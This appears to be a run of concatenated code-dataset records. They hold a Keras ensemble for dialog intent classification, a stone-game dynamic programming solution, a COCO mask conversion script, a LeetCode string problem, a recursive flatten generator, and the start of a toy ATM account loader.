output_dim=embeddings_weight.shape[1],\n trainable=False)(content)\n\n embedding = SpatialDropout1D(0.2)(embedding)\n \n cnn1 = Conv1D(128, 2, padding='same', strides=1, activation='relu')(embedding)\n cnn2 = Conv1D(128, 3, padding='same', strides=1, activation='relu')(embedding)\n cnn3 = Conv1D(128, 4, padding='same', strides=1, activation='relu')(embedding)\n cnn4 = Conv1D(128, 5, padding='same', strides=1, activation='relu')(embedding)\n cnn = concatenate([cnn1, cnn2, cnn3, cnn4], axis=-1)\n\n cnn1 = Conv1D(64, 2, padding='same', strides=1, activation='relu')(cnn)\n cnn1 = MaxPooling1D(pool_size=100)(cnn1)\n cnn2 = Conv1D(64, 3, padding='same', strides=1, activation='relu')(cnn)\n cnn2 = MaxPooling1D(pool_size=100)(cnn2)\n cnn3 = Conv1D(64, 4, padding='same', strides=1, activation='relu')(cnn)\n cnn3 = MaxPooling1D(pool_size=100)(cnn3)\n cnn4 = Conv1D(64, 5, padding='same', strides=1, activation='relu')(cnn)\n cnn4 = MaxPooling1D(pool_size=100)(cnn4)\n \n cnn = concatenate([cnn1, cnn2, cnn3, cnn4], axis=-1)\n\n flat = Flatten()(cnn)\n drop = Dropout(0.2)(flat)\n\n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(drop))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\n# In[37]:\n\ndef get_text_gru1(sent_length, embeddings_weight):\n print (\"get_text_gru1\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n x = SpatialDropout1D(0.2)(embedding(content))\n \n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(x)\n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(x)\n \n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n conc = concatenate([avg_pool, max_pool])\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(conc))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\n# In[47]:\n\ndef get_text_gru2(sent_length, embeddings_weight):\n print (\"get_text_gru2\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n\n x = SpatialDropout1D(0.2)(embedding(content))\n \n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(x)\n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(x)\n \n x = Conv1D(100, kernel_size = 3, padding = \"valid\", kernel_initializer = \"glorot_uniform\")(x)\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n conc = concatenate([avg_pool, max_pool])\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(conc))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model \n\n\n# In[48]:\n\ndef get_text_gru3(sent_length, embeddings_weight):\n print (\"get_text_gru3\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n x = SpatialDropout1D(0.2)(embedding(content))\n\n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(x)\n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(x)\n \n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n att_pool = Attention(sent_length)(x) \n conc = concatenate([avg_pool, max_pool, att_pool])\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(conc))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\ndef get_text_gru4(sent_length, embeddings_weight):\n print (\"get_text_gru4\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n x = SpatialDropout1D(0.2)(embedding(content))\n \n x = Bidirectional(CuDNNLSTM(200, return_sequences = True))(x)\n x = Bidirectional(CuDNNGRU(200, return_sequences = True))(x)\n \n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n \n x = concatenate([avg_pool,max_pool])\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\n# In[49]:\n\ndef get_text_rcnn1(sent_length, embeddings_weight):\n print (\"get_text_rcnn1\")\n document = Input(shape = (None, ), dtype = \"int32\")\n \n embedder = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n doc_embedding = SpatialDropout1D(0.2)(embedder(document))\n forward = Bidirectional(CuDNNLSTM(200, return_sequences = True))(doc_embedding)\n together = concatenate([forward, doc_embedding], axis = 2) \n\n semantic = Conv1D(100, 2, padding='same', strides = 1, activation='relu')(together)\n pool_rnn = Lambda(lambda x: K.max(x, axis = 1), output_shape = (100, ))(semantic) \n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(pool_rnn))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs= document, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\ndef get_text_rcnn2(sent_length, embeddings_weight):\n print (\"get_text_rcnn2\")\n content = Input(shape = (None, ), dtype = \"int32\")\n \n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n x = SpatialDropout1D(0.2)(embedding(content))\n \n x = Convolution1D(filters=256,kernel_size=3,padding='same',strides=1,activation=\"relu\")(x)\n x = MaxPooling1D(pool_size=2)(x)\n\n x = Dropout(0.2)(CuDNNGRU(units=200, return_sequences=True)(x))\n x = Dropout(0.2)(CuDNNGRU(units=100)(x))\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\ndef get_text_rcnn3(sent_length, embeddings_weight):\n print (\"get_text_rcnn3\")\n content = Input(shape = (None, ), dtype = \"int32\")\n \n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n x = SpatialDropout1D(0.2)(embedding(content))\n \n cnn = Convolution1D(filters=200, kernel_size=3, padding=\"same\", strides=1, activation=\"relu\")(x)\n cnn_avg_pool = GlobalAveragePooling1D()(cnn)\n cnn_max_pool = GlobalMaxPooling1D()(cnn)\n \n \n rnn = Dropout(0.2)(CuDNNGRU(200, return_sequences=True)(x))\n rnn_avg_pool = GlobalAveragePooling1D()(rnn)\n rnn_max_pool = GlobalMaxPooling1D()(rnn)\n \n con = concatenate([cnn_avg_pool, cnn_max_pool, rnn_avg_pool, rnn_max_pool], axis=-1)\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(con))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\ndef get_text_lstm1(sent_length, embeddings_weight):\n print (\"get_text_lstm1\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n x = Dropout(0.2)(Bidirectional(CuDNNLSTM(200, return_sequences=True))(embed))\n semantic = TimeDistributed(Dense(100, activation = \"tanh\"))(x) \n pool_rnn = Lambda(lambda x: K.max(x, axis = 1), output_shape = (100, ))(semantic) \n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(pool_rnn))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\n# In[44]:\n\ndef get_text_lstm2(sent_length, embeddings_weight):\n print (\"get_text_lstm2\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n x = Dropout(0.2)(Bidirectional(CuDNNLSTM(200, return_sequences=True))(embed))\n x = Dropout(0.2)(Bidirectional(CuDNNLSTM(100, return_sequences=True))(x)) \n semantic = TimeDistributed(Dense(100, activation = \"tanh\"))(x) \n pool_rnn = Lambda(lambda x: K.max(x, axis = 1), output_shape = (100, ))(semantic)\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(pool_rnn))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\ndef get_text_lstm_attention(sent_length, embeddings_weight):\n print (\"get_text_lstm_attention\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embedded_sequences= SpatialDropout1D(0.2)(embedding(content))\n x = Dropout(0.25)(CuDNNLSTM(200, return_sequences=True)(embedded_sequences))\n merged = Attention(sent_length)(x)\n merged = Dense(100, activation='relu')(merged)\n merged = Dropout(0.25)(merged)\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(merged))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\ndef get_text_dpcnn(sent_length, embeddings_weight):\n print (\"get_text_dpcnn\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n\n block1 = Conv1D(128, kernel_size=3, padding='same', activation='linear')(embed)\n block1 = BatchNormalization()(block1)\n block1 = PReLU()(block1)\n block1 = Conv1D(128, kernel_size=3, padding='same', activation='linear')(block1)\n block1 = BatchNormalization()(block1)\n block1 = PReLU()(block1)\n\n resize_emb = Conv1D(128, kernel_size=3, padding='same', activation='linear')(embed)\n resize_emb = PReLU()(resize_emb)\n \n block1_output = add([block1, resize_emb])\n block1_output = MaxPooling1D(pool_size=10)(block1_output)\n\n block2 = Conv1D(128, kernel_size=4, padding='same', activation='linear')(block1_output)\n block2 = BatchNormalization()(block2)\n block2 = PReLU()(block2)\n block2 = Conv1D(128, kernel_size=4, padding='same', activation='linear')(block2)\n block2 = BatchNormalization()(block2)\n block2 = PReLU()(block2)\n \n block2_output = add([block2, block1_output])\n block2_output = MaxPooling1D(pool_size=10)(block2_output)\n\n block3 = Conv1D(128, kernel_size=5, padding='same', activation='linear')(block2_output)\n block3 = BatchNormalization()(block3)\n block3 = PReLU()(block3)\n block3 = Conv1D(128, kernel_size=5, padding='same', activation='linear')(block3)\n block3 = BatchNormalization()(block3)\n block3 = PReLU()(block3)\n\n output = add([block3, block2_output])\n maxpool = GlobalMaxPooling1D()(output)\n average = GlobalAveragePooling1D()(output)\n \n x = concatenate([maxpool, average])\n\n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\ndef get_text_gru6(sent_length, embeddings_weight):\n print (\"get_text_gru6\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n \n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(embed)\n x = Conv1D(60, kernel_size=3, padding='valid', activation='relu', strides=1)(x)\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n\n embed = SpatialDropout1D(0.2)(embedding(content))\n y = Bidirectional(CuDNNGRU(100, return_sequences=True))(embed)\n y = Conv1D(40, kernel_size=3, padding='valid', activation='relu', strides=1)(y)\n avg_pool2 = GlobalAveragePooling1D()(y)\n max_pool2 = GlobalMaxPooling1D()(y) \n \n x = concatenate([avg_pool, max_pool, avg_pool2, max_pool2], -1)\n\n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n# coding:utf-8\n\n###分词模块\ndef performance(f): #定义装饰器函数,功能是��进来的函数进行包装并返回包装后的函数 \n def fn(*args, **kw): #对传进来的函数进行包装的函数 \n t_start = time.time() #记录函数开始时间 \n r = f(*args, **kw) #调用函数 \n t_end = time.time() #记录函数结束时间 \n print ('call %s() in %fs' % (f.__name__, (t_end - t_start))) #打印调用函数的属性信息,并打印调用函数所用的时间 \n return r #返回包装后的函数 \n return fn \n\n########################## read data ####################################\n\ntrain_path = '../input/msxf_dialog_train.csv'\ntest_path = '../input/msxf_dialog_test_2round.csv'\ntest_path_ = '../input/msxf_dialog_test_1round.csv'\n\ndf_train = pd.read_csv(train_path, sep='\\t')\ndf_test = pd.read_csv(test_path, sep='\\t')\ndf_test_ = pd.read_csv(test_path_, sep='\\t')\n\ndf = pd.concat([df_train, df_test], 0)\nnrow_train = df_train.shape[0]\nlb = LabelEncoder()\ntrain_label = lb.fit_transform(df_train[\"label\"].values)\ntrain_label = to_categorical(train_label)\n\nword_seq_len = 800\n \ndef w2v_pad(col, maxlen_):\n max_features = 150000\n tokenizer = text.Tokenizer(num_words=max_features, lower=True)\n tokenizer.fit_on_texts(list(df_train[col].values)+list(df_test_[col].values))\n\n train_ = sequence.pad_sequences(tokenizer.texts_to_sequences(df_train[col].values), maxlen=maxlen_)\n test_ = sequence.pad_sequences(tokenizer.texts_to_sequences(df_test[col].values), maxlen=maxlen_)\n \n word_index = tokenizer.word_index\n \n count = 0\n nb_words = len(word_index)\n\n model = gensim.models.KeyedVectors.load_word2vec_format(\"../input/msxf_dialog_word_embeddings.vec\")\n \n embedding_matrix = np.zeros((nb_words + 1, 200))\n \n for word, i in word_index.items():\n embedding_vector = model[word] if word in model else None\n if embedding_vector is not None:\n count += 1\n embedding_matrix[i] = embedding_vector\n else:\n unk_vec = np.random.random(200) * 0.5\n unk_vec = unk_vec - unk_vec.mean()\n embedding_matrix[i] = unk_vec\n \n print (embedding_matrix.shape, train_.shape, test_.shape, count * 1.0 / embedding_matrix.shape[0])\n return train_, test_, word_index, embedding_matrix\n\n\nX_train, X_test, word2idx, word_embedding = w2v_pad('question', word_seq_len)\n\n# In[6]:\n\n\nearly_stopping =EarlyStopping(monitor='val_loss', patience=6)\nplateau = ReduceLROnPlateau(monitor=\"val_loss\", verbose=1, mode='min', factor=0.5, patience=3)\n\n# In[7]:\n\n\nX_train_ , X_valid, y_train, y_valid = train_test_split(X_train, train_label, random_state=123, train_size=0.95)\n\ndef word_model(model):\n name = str(model.__name__)\n file_path= \"../models/\" + name + \"_word_weights.hdf\"\n model = model(word_seq_len, word_embedding)\n if not os.path.exists(file_path):\n checkpoint = ModelCheckpoint(file_path, monitor='val_loss', verbose=1, save_best_only=True, mode='min', save_weights_only=True)\n model.fit(X_train_, y_train,\n epochs = 100,\n batch_size=128,\n validation_data=(X_valid, y_valid),\n callbacks=[early_stopping, plateau, checkpoint])\n model.load_weights(file_path)\n \n pred_word, pred_test_word = lb.inverse_transform(np.argmax(model.predict(X_valid), 1)).reshape(-1,1), \\\n lb.inverse_transform(np.argmax(model.predict(X_test), 1)).reshape(-1,1)\n del model; gc.collect()\n K.clear_session()\n print (pred_word.shape, pred_test_word.shape)\n print (name + \": valid's accuracy: %s\" % accuracy_score(lb.inverse_transform(np.argmax(y_valid, 1)), pred_word))\n return (pred_word, pred_test_word)\n\n\nnn_train, nn_test = zip(*[word_model(get_text_lstm3),\\\n word_model(get_text_rcnn4),\\\n word_model(get_text_rcnn5),\\\n word_model(get_text_gru5),\\\n word_model(get_text_rcnn1),\\\n word_model(get_text_rcnn2),\\\n word_model(get_text_rcnn3),\\\n word_model(get_text_cnn1), \\\n word_model(get_text_cnn2), \\\n word_model(get_text_cnn3), \\\n word_model(get_text_gru1), \\\n word_model(get_text_gru2), \\\n word_model(get_text_gru3), \\\n word_model(get_text_gru4), \\\n word_model(get_text_lstm1), \\\n word_model(get_text_lstm2),\n word_model(get_text_lstm_attention)])\n\nnn_train = np.concatenate(nn_train, 1)\nnn_test = np.concatenate(nn_test, 1)\n\nnp.savez('../blending/round2_nn_blending_.npz', train=nn_train, test=nn_test)\n\nfrom scipy import stats\ndf_test['label'] = pd.DataFrame(nn_test).apply(lambda x: stats.mode(x)[0][0], axis=1)\ndf_test[['conv_index', 'question_id', 'label']].to_csv('../output/blending_vote.csv', sep='\\t', index=None)","sub_path":"code/nn_blending.py","file_name":"nn_blending.py","file_ext":"py","file_size_in_byte":43219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"15697820","text":"import sys\nclass Solution:\n \"\"\"\n @param A: An integer array\n @return: An integer\n \"\"\"\n def stoneGame2(self, A):\n # write your code here\n if not A:\n return 0\n B = A + A\n min_total = sys.maxsize\n memo = {}\n for i in range(len(A)):\n cur = self.stoneGame(B, i, i + len(A) - 1, memo)\n min_total = min(min_total, cur)\n return min_total\n \n\n def stoneGame(self, A, start, end, memo):\n # write your code here \n _, min_total = self.helper(A, start, end, memo)\n return min_total\n\n def helper(self, A, start, end, memo):\n if start == end:\n return A[start], 0\n\n if (start, end) in memo:\n return memo[(start, end)]\n\n min_total = sys.maxsize\n for i in range(start, end):\n left_val, left_total = self.helper(A, start, i, memo)\n right_val, right_total = self.helper(A, i + 1, end, memo)\n add_val = left_val + right_val\n add_total = left_total + right_total + add_val\n min_total = min(min_total, add_total)\n\n memo[(start, end)] = add_val, min_total\n\n return memo[(start, end)]","sub_path":"593 stone game II.py","file_name":"593 stone game II.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"85341081","text":"\"\"\"\nget semantic segmentation annotations from coco data set.\n\"\"\"\nfrom PIL import Image\nimport imgviz\nimport numpy as np\nimport argparse\nimport os, cv2\nimport tqdm\nfrom pycocotools.coco import COCO\nimport shutil\n\nnp.set_printoptions(threshold=np.inf)\nnum_classes = 5 + 1 # 因为mouth包括其他部分\n\ndef save_colored_mask(mask, save_path):\n lbl_pil = Image.fromarray(mask.astype(np.uint8), mode=\"P\")\n colormap = imgviz.label_colormap()\n lbl_pil.putpalette(colormap.flatten())\n lbl_pil.save(save_path)\n\ndef save_gray_mask(mask, save_path):\n mask[mask == 0] = 255 # 背景0 转变为 255\n mask[mask != 255] -= 1\n mask[mask >= num_classes] = 255\n global seglabel\n seglabel = max(len(np.unique(mask)), seglabel)\n cv2.imwrite(save_path, mask)\n\ndef main(args):\n annotation_file = os.path.join(args.input_dir, 'annotations', '{}.json'.format(args.split))\n os.makedirs(os.path.join(args.input_dir, 'SegmentationClass'), exist_ok=True)\n os.makedirs(os.path.join(args.input_dir, 'SegmentationClassGray'), exist_ok=True)\n os.makedirs(os.path.join(args.input_dir, 'JPEGImages'), exist_ok=True)\n\n coco = COCO(annotation_file)\n catIds = coco.getCatIds()\n imgIds = coco.getImgIds()\n print(\"catIds len:{}, imgIds len:{}\".format(len(catIds), len(imgIds)))\n for imgId in tqdm.tqdm(imgIds, ncols=100):\n img = coco.loadImgs(imgId)[0]\n annIds = coco.getAnnIds(imgIds=img['id'], catIds=catIds, iscrowd=None)\n anns = coco.loadAnns(annIds)\n mask = np.zeros_like(coco.annToMask(anns[0]))\n if len(annIds) > 0:\n # mask = coco.annToMask(anns[0]) * anns[0]['category_id']\n mask[coco.annToMask(anns[0]) != 0] = anns[0]['category_id']\n for i in range(len(anns) - 1):\n # mask += coco.annToMask(anns[i + 1]) * anns[i + 1]['category_id']\n mask[coco.annToMask(anns[i + 1]) != 0] = anns[i + 1]['category_id']\n # img_origin_path = os.path.join(args.input_dir, 'images', img['file_name'])\n # img_output_path = os.path.join(args.input_dir, 'JPEGImages', img['file_name'])\n seg_output_path = os.path.join(args.input_dir, 'SegmentationClass',\n img['file_name'].replace('.jpg', '.png'))\n gray_seg_output_path = os.path.join(args.input_dir, 'SegmentationClassGray',\n img['file_name'].replace('.jpg', '.png'))\n # shutil.copy(img_origin_path, img_output_path)\n save_colored_mask(mask, seg_output_path) # 调速板模式\n save_gray_mask(mask, gray_seg_output_path) # 灰度模式\n print('seg label', seglabel)\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input_dir\", default=\"../data/train\", type=str,\n help=\"input dataset directory\")\n parser.add_argument(\"--split\", default=\"train\", type=str,\n help=\"train or val\")\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n # label_map = []\n # for i in range(1, 10):\n # mask = np.ones((1, 32)) * i\n # label_map.append(mask)\n # label_map = np.concatenate(label_map, axis=-1)\n # save_colored_mask(label_map, 'color.png')\n # exit()\n seglabel = 0\n args = get_args()\n main(args)\n","sub_path":"code/tools/mask2seg.py","file_name":"mask2seg.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"96629428","text":"'''\n925. Long Pressed Name\nYour friend is typing his name into a keyboard. Sometimes, when typing a character c, the key might get long pressed, and the character will be typed 1 or more times.\n\nYou examine the typed characters of the keyboard. Return True if it is possible that it was your friends name, with some characters (possibly none) being long pressed.\n\n\n\nExample 1:\n\nInput: name = \"alex\", typed = \"aaleex\"\nOutput: true\nExplanation: 'a' and 'e' in 'alex' were long pressed.\nExample 2:\n\nInput: name = \"saeed\", typed = \"ssaaedd\"\nOutput: false\nExplanation: 'e' must have been pressed twice, but it wasn't in the typed output.\nExample 3:\n\nInput: name = \"leelee\", typed = \"lleeelee\"\nOutput: true\nExample 4:\n\nInput: name = \"laiden\", typed = \"laiden\"\nOutput: true\nExplanation: It's not necessary to long press any character.\n\n\nConstraints:\n\n1 <= name.length <= 1000\n1 <= typed.length <= 1000\nThe characters of name and typed are lowercase letters.\n\n925. 长按键入\n你的朋友正在使用键盘输入他的名字 name。偶尔,在键入字符 c 时,按键可能会被长按,而字符可能被输入 1 次或多次。\n\n你将会检查键盘输入的字符 typed。如果它对应的可能是你的朋友的名字(其中一些字符可能被长按),那么就返回 True。\n\n\n\n示例 1:\n\n输入:name = \"alex\", typed = \"aaleex\"\n输出:true\n解释:'alex' 中的 'a' 和 'e' 被长按。\n示例 2:\n\n输入:name = \"saeed\", typed = \"ssaaedd\"\n输出:false\n解释:'e' 一定需要被键入两次,但在 typed 的输出中不是这样。\n示例 3:\n\n输入:name = \"leelee\", typed = \"lleeelee\"\n输出:true\n示例 4:\n\n输入:name = \"laiden\", typed = \"laiden\"\n输出:true\n解释:长按名字中的字符并不是必要的。\n\n\n提示:\n\nname.length <= 1000\ntyped.length <= 1000\nname 和 typed 的字符都是小写字母。\n'''\n\n\nclass Solution(object):\n def isLongPressedName(self, name, typed):\n \"\"\"\n :type name: str\n :type typed: str\n :rtype: bool\n \"\"\"\n i, j = 0, 0\n name_length = len(name)\n typed_length = len(typed)\n if set(typed) != set(name):\n return False\n while i < name_length and j < typed_length:\n # print(name[i], typed[j], i, j)\n if name[i] == typed[j]:\n i += 1\n j += 1\n elif j > 0 and typed[j] == typed[j-1]:\n j += 1\n else:\n return False\n return i == name_length\n","sub_path":"algorithms/two_point/leetcode-925-LongPressedName.py","file_name":"leetcode-925-LongPressedName.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"424752363","text":"# 递归式生成器\ndef flatten(nested):\n try:\n # 不迭代类似于字符串的对象\n # try:\n # nested + '' # 此处没有执行类型检查!只是检查行为.一种更自然的替代方案是使用isinstance以及字符串和类似于字符串的一些抽象超类,但没有这样的类(3.5)\n # print(isinstance(nested,str))\n # except TypeError:\n # pass\n # else: raise TypeError\n if isinstance(nested, str): # 3.6已出str的类型检查\n raise TypeError\n for sublist in nested:\n for element in flatten(sublist):\n yield element\n except TypeError:\n yield nested\n\n\nprint(list(flatten(['foo', ['bar', ['baz']]])))\n","sub_path":"src/main/base/chp09_魔法方法-特性和迭代器/04_生成器/02_recursionGenerator.py","file_name":"02_recursionGenerator.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"267427955","text":"import os\nErrorCount = 0\nAccounts = [{\"AccountNumber\":0, \"Pin\":0, \"Type\":\"Account Type\", \"Social\":0, \"Balance\":0, \"LastTransaction\":0, \"Interest\":0}]\n\n#Tested works\ndef Main():\n print(\"ATM\")\n MainChoice = int(input(\"Are you a customer or staff member? (1 for customer, 2 for staff): \"))\n if MainChoice == 1:\n ShowCustomerWelcome(0)\n elif MainChoice == 2:\n ShowStaffWelcome()\n else:\n print(\"That was not an option.\")\n#Tested Works\ndef Load():\n CheckingsFile = open('checkings.txt', 'r')\n SavingsFile = open('savings.txt', 'r')\n CheckingsRead = CheckingsFile.readline()\n SavingsRead = SavingsFile.readline()\n while CheckingsRead != '':\n Checkings = CheckingsRead.rstrip('\\n')\n CheckingsPinRaw = CheckingsFile.readline()\n CheckingsPin = CheckingsPinRaw.rstrip('\\n')\n CheckingsSocialRaw = CheckingsFile.readline()\n CheckingsSocial = CheckingsSocialRaw.rstrip('\\n')\n CheckingsBalanceRaw = CheckingsFile.readline()\n CheckingsBalance = CheckingsBalanceRaw.rstrip('\\n')\n CheckingsLastTransactionRaw = CheckingsFile.readline()\n CheckingsLastTransaction = CheckingsLastTransactionRaw.rstrip('\\n')\n Accounts.append({\"AccountNumber\":Checkings, \"Pin\":CheckingsPin, \"Type\":\"Checkings\", \"Social\":CheckingsSocial, \"Balance\":CheckingsBalance, \"LastTransaction\": CheckingsLastTransaction, \"Interest\":0})\n CheckingsRead = CheckingsFile.readline()\n while SavingsRead != '':\n Savings = SavingsRead.rstrip('\\n')\n SavingsPinRaw = SavingsFile.readline()\n SavingsPin = SavingsPinRaw.rstrip('\\n')\n SavingsSocialRaw = SavingsFile.readline()\n SavingsSocial = SavingsSocialRaw.rstrip('\\n')\n 